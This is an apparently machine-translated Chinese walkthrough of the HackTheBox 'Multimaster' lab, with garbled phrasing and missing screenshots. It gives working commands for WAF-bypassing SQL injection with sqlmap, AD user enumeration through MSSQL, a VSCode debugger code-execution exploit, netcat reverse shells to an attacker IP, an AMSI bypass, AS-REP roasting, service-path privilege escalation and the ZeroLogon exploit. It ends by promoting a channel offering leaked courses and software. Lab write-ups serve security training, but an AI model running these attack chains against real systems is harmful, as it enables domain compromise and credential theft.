HackTheBox。演练多主机。打p + Sqlmap。来自MSSQL的AD用户。VSCode中的漏洞。AMSI旁路和CVE ZeroLogon



嗨,拉尔夫(Ralph)和你在一起。我将继续发布从HackTheBox网站发送到计算机最终定稿的解决方案



本文有很多内容。为了方便起见,让我们看一下如何组合Burp Suite和sqlmap,了解如何使域用户具有对MSSQL的访问权,如何利用Visual Studio Code中的漏洞,阻止AMSI,执行AS-REP烘焙以获取凭据并增加Server Operators组的特权。为了演示新的ZeroLogon漏洞,我们将在5分钟内以不同的方式捕获同一台计算机。



与实验室的连接是通过VPN。建议您不要从工作计算机或有重要数据的主机连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。



组织信息
, , Telegram . , , .



. , - , .



侦察



这台机器的IP地址为10.10.10.179,我将其添加到/ etc / hosts中。



10.10.10.179 	multimaster.htb


第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179  --rate=500






主机上打开了许多端口。现在,让我们用nmap对其进行扫描以过滤并选择所需的对象。

nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389






现在,要获取有关端口上运行的服务的更多详细信息,请使用-A选项运行扫描。



nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389






借助SMB和LDAP,什么都做不了,让我们看看网络。







该网站具有授权以及搜索表单。







此外,搜索按条目进行。







因此,我们可以假设在SQL查询中使用了LIKE运算符。因此,您可以尝试显示所有记录。







事实证明,我们有SQL注入。







但是至少有些东西行不通。显然使用了WAF。







但是事实证明,使用Unicode编码可以绕开它。







我们找到列数。











因此注射率为100%。



Sqlmap + Burp套件



为了轻松使用数据库,我们使用sqlmap。我们知道编码方法和DBMS-我们将在参数中反映出来。我们还将把Burp Suite中的请求保存到文件中并指定其sqlmap。让我们定义发出请求的用户。



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user






不幸的是,我们没有使用编码就得到了相同的答案。让我们将Burp指向sqlmap的代理。并且为了不浪费时间,我们将指出基于联合的代码注入技术(参数U)。



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --current-user


我们在burp中拦截请求,并且看到的编码显示略有不同。







让我们检查一下是否可行。让我们以这种方式对我们已经知道的负载进行编码。











而且它不起作用。因此,我们需要更改编码的显示。这可以使用Burp完成。让我们转到Proxy-> options选项卡,然后转到Match and Replace部分。







让我们添加一条规则,将请求主体中的%u更改为\ u。







并确保它处于活动状态。







现在,让我们再次执行sqlmap。



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --random-agent --current-user


在Burp中,我们看到一个已经更正的请求。







允许传输所有请求。并在sqlmap中获得当前用户的名称。







但是,我们再次看到一个错误。显然是WAF。让我们添加3秒的延迟并找出特权。



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --random-agent --privileges






我们无能为力。让我们找出数据库。

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --dbs






让我们看一下Hub_DB中的表。



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB --tables






确实需要什么。登录表。让我们从中提取所有数据。

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB -T Logins --dump






因此,我们有用户和密码哈希。这里有所有4种不同的哈希值。让我们找出哪些。







现在,我们将找到要迭代的hashcat模式。







共有三种模式。并使用后者,我们打破了三个散列。



hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt






但是这些散列不适合SMB。进一步挖掘。



用户



我们可以从MSSQL获取数据这一事实使我们能够获取域用户。现在,我将向您展示如何执行此操作。首先,我们需要获取域名。











现在我们需要找出它的SID。我们可以通过找到任何域对象的SID并从中丢弃RID来获取域的SID。任何域都有一个Domain Admins组。这使我们能够预先存在于域对象中。让我们找出他的SID。











因此,它被编码。为了正常显示它,我们使用sys.fn_varbintohexstr函数。











然后我们得到了这个对象的SID。进一步地,想法是这样的:我们获得域的SID并替换不同的RID,我们通过现有的SID获得用户名。例如,管理员的RID为500。



从接收到的SID中获取前48个字节。







最后添加RID-500(不要忘记将其翻转)。











现在,我们将通过SID获取帐户名称。











由于这可行,让我们获取域对象。对于迭代,我使用Burp Intruder。











向Intruder发送请求后,我们为变量分配了4个字节。接下来,您需要生成这4个字节的变量。



for i in range(1100, 9100,1000):
    for j in range(50):
        h = hex(i+j)[2:].rjust(4,'0')
        SID = ""
        for c in (h[2:]+h[:2]):
            SID += "0x" + hex(ord(c))[2:]
        print(SID)


我们将结果保存到文件中,然后将其指向Burp。







同时关闭URL编码,并将所有0x替换为\ u00。







记住关于WAF,我们放了一个流,并且请求之间的延迟。







我们发动攻击,按响应长度排序,观察许多物体。







选择所有用户并保存到文件。我们也有三个密码。我们遍历SMB并找到正确的对。







我们连接到WinRM,并且已经在系统中。







USER2



一旦进入系统,我们进行侦察。我正在使用winPEAS进行此操作。我们将其加载到机器上并运行。他们在那里没有发现任何有趣的东西。







因此,让我们走上艰难的道路。我们需要获取尽可能多的凭据。让我们从系统上的用户名开始。







我们将所有内容保存到文件中。但是我们在哪里可以找到密码?该服务器使用数据库,并且需要密码才能连接到该数据库。让我们尝试获得它。







但是我们无权访问Web服务器目录。不知道该怎么办,服务器上使用的软件的位置未在我的清单上显示。让我们看一下进程列表。







VSCode引人注目。











因此,Visual Studio Code 1.37.1在服务器上运行。并且它具有允许代码执行的漏洞!从这里







如下

当它向本地计算机的用户公开调试侦听器时,Visual Studio Code中存在一个特权提升漏洞。


攻击者可以注入任意代码以在当前用户的上下文中运行此代码,他必须确定Visual Studio Code正在侦听哪个端口。我们可以使用cefdebug连接到VSCode端口







让我们找到监听端口。







太好了,有一个这样的港口。让我们在VSCode流程的上下文中运行代码。让我们使用nc执行一个反向连接shell。



.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"






而且我们看到了成功的连接。







我们进入目录。











在所有呈现的内容中,API最为有趣。让我们下载它。











我去Windows检查了库写的内容。







这是C#,因此我们可以对项目进行反编译。我正在使用dnSpy。







在源代码中,我们找到了密码。但是要找出他是什么用户,我们使用暴力登录(密码喷涂)。我正在使用CrackMapExec。



cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"






我们再增加一个用户







用户3



尝试下载和使用任何情报工具时,我们被AMSI阻止。让我们使用Invoke-AlokS-AvBypass对其进行修补







现在,我们可以安全地将灵狗加载到主机上。







在开始之后,我们会观察存档。







现在,我们将其下载到本地主机,并将其放入猎犬中。接下来在“查询”中,选择“通往高价值目标的最短路径”。







深入研究图表,我们确定了我们控制下的用户与域中另一个用户之间的关系。







让我们获取通信信息。











因此,我们可以获得用户密码的哈希值(该过程本身已经在两个类似的文章中进行了描述)。我们激活该属性-不需要Kerberos预身份验证。







然后我们将执行请求。







复制哈希并使用hashcat将其破坏。



hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt






我们得到用户的密码。我们成功地解决了这个问题。









收到有关用户的信息后,我们注意到他是“服务器操作员”组的成员。







该组的成员可以配置和运行服务(Windows中的服务代表SYSTEM运行)。通常,这是通过SensorDataService完成的。





让我们使用netcat将let更改为可执行到backconnect命令。



reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f






在启动服务后,我们观察到端口4321的连接。



sc.exe start SensorDataService






我们是系统的。



CVE-2020-1472



现在,为进行演示,让我们尝试立即捕获域控制器,即使没有入口点和支持也是如此。为此,我们使用了最近臭名昭著的ZeroLogon漏洞(CVE-2020-1472)。



总的来说,CVE-2020-1472的漏洞在于Netlogon远程协议密码认证方案的不足。该协议用于验证基于域的网络中的用户和计算机。特别是,Netlogon还用于远程更新计算机密码。该漏洞可能允许攻击者模拟客户端计算机并重置域控制器密码。

对于测试,让我们尝试请求使用哈希31d6cfe0d16ae931b73c59d7e0c089c0(空密码)复制凭据。



secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'






现在,使用漏洞利用程序



CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179






我们获悉攻击已成功。再次请求凭证复制。我们得到了他们。



secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'






通过管理员哈希,我们可以通过WinRM连接。







特别是,这是基于以下方法捕获域控制器的方式:



  • 所有版本的Windows Server 2019,Windows Server 2016;
  • Windows Server版本1909的所有变体
  • Windows Server版本1903
  • Windows Server版本1809(数据中心,标准)
  • Windows Server 2012 R2
  • Windows Server 2012
  • Windows Server 2008 R2 Service Pack 1。


您可以通过Telegram加入我们在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们建立一个社区,在这个社区中,将有很多IT领域的专家,然后我们可以在任何IT和信息安全问题上互相帮助。



All Articles